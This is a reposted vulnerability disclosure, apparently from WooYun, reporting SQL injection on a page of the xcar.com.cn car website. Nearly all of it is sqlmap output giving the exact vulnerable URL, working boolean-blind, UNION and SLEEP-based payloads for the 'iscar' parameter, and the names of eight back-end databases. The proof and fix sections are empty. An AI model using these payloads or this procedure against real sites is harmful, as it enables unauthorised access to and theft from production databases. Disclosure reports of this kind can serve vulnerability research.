神刀安全网

爱卡汽车网某站点SQL注入漏洞可跨库

简要描述:

sql,求rank啊

详细说明:

code 区域
注入地址:http://topic.xcar.com.cn/201107/jlys/list.php?iscar=1&count=21&per=8&cu
r=1

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program

[*] starting at 06:31:47

[06:31:48] [INFO] using 'F:/桌面/渗透工具/sqlmap GUI汉化版/rar/output/topic.xcar
.com.cn/session' as session file
[06:31:48] [INFO] testing connection to the target url
[06:31:48] [INFO] testing if the url is stable, wait a few seconds
[06:31:49] [INFO] url is stable
[06:31:49] [INFO] testing if GET parameter 'iscar' is dynamic
[06:31:54] [INFO] confirming that GET parameter 'iscar' is dynamic
[06:31:58] [INFO] GET parameter 'iscar' is dynamic
[06:31:58] [WARNING] heuristic test shows that GET parameter 'iscar' might not b
e injectable
[06:31:58] [INFO] testing sql injection on GET parameter 'iscar'
[06:31:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:32:01] [INFO] GET parameter 'iscar' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
[06:32:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:32:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:32:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:32:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:32:02] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:32:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:32:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:32:02] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:33:02] [INFO] GET parameter 'iscar' is 'MySQL > 5.0.11 AND time-based blind'
injectable
[06:33:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:33:03] [INFO] target url appears to be UNION injectable with 8 columns
[06:33:05] [INFO] GET parameter 'iscar' is 'MySQL UNION query (NULL) - 1 to 10 c
olumns' injectable
GET parameter 'iscar' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y

[06:34:35] [INFO] testing if GET parameter 'count' is dynamic
[06:34:36] [INFO] confirming that GET parameter 'count' is dynamic
[06:34:36] [INFO] GET parameter 'count' is dynamic
[06:34:36] [WARNING] heuristic test shows that GET parameter 'count' might not b
e injectable
[06:34:36] [INFO] testing sql injection on GET parameter 'count'
[06:34:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:34:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:34:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:34:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:34:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:34:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:34:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:34:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:34:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:34:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:34:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:34:44] [INFO] testing 'Oracle AND time-based blind'
[06:34:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:34:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:35:01] [WARNING] GET parameter 'count' is not injectable
[06:35:01] [INFO] testing if GET parameter 'per' is dynamic
[06:35:02] [INFO] confirming that GET parameter 'per' is dynamic
[06:35:02] [INFO] GET parameter 'per' is dynamic
[06:35:02] [WARNING] heuristic test shows that GET parameter 'per' might not be
injectable
[06:35:02] [INFO] testing sql injection on GET parameter 'per'
[06:35:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:35:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:35:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:35:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:35:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:35:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:35:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:35:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:35:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:35:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:35:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:35:06] [INFO] testing 'Oracle AND time-based blind'
[06:35:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:35:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:35:14] [WARNING] GET parameter 'per' is not injectable
[06:35:14] [INFO] testing if GET parameter 'cur' is dynamic
[06:35:14] [INFO] confirming that GET parameter 'cur' is dynamic
[06:35:14] [INFO] GET parameter 'cur' is dynamic
[06:35:15] [WARNING] heuristic test shows that GET parameter 'cur' might not be
injectable
[06:35:15] [INFO] testing sql injection on GET parameter 'cur'
[06:35:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:35:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:35:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:35:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:35:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:35:19] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:35:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:35:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:35:20] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:35:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:35:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:35:25] [INFO] testing 'Oracle AND time-based blind'
[06:35:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:35:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:35:41] [WARNING] GET parameter 'cur' is not injectable
sqlmap identified the following injection points with a total of 477 HTTP(s) req
uests:
---
Place: GET
Parameter: iscar
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: iscar=1 AND 5298=5298&count=21&per=8&cur=1

Type: UNION query
Title: MySQL UNION query (NULL) - 8 columns
Payload: iscar=1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a666a743a,0x53
63456b474961614b71,0x3a7671743a), NULL, NULL, NULL, NULL#&count=21&per=8&cur=1

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: iscar=1 AND SLEEP(5)&count=21&per=8&cur=1
---

[06:35:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[06:35:41] [INFO] fetching database names
[06:35:41] [INFO] the SQL query used returns 8 entries
[06:35:41] [INFO] retrieved: "information_schema"
[06:35:41] [INFO] retrieved: "bd_seo"
[06:35:41] [INFO] retrieved: "branchdb"
[06:35:42] [INFO] retrieved: "seo"
[06:35:42] [INFO] retrieved: "test"
[06:35:42] [INFO] retrieved: "xcardb"
[06:35:42] [INFO] retrieved: "xcardb2"
[06:35:42] [INFO] retrieved: "xcardb2_new"
available databases [8]:
[*] bd_seo
[*] branchdb
[*] information_schema
[*] seo
[*] test
[*] xcardb
[*] xcardb2
[*] xcardb2_new

[06:35:42] [INFO] Fetched data logged to text files under 'F:/桌面/渗透工具/sqlm
ap GUI汉化版/rar/output/topic.xcar.com.cn'

[*] shutting down at 06:35:42

漏洞证明:

修复方案:

版权声明:神刀安全网转自 #6c6c6c@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 爱卡汽车网某站点SQL注入漏洞可跨库

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮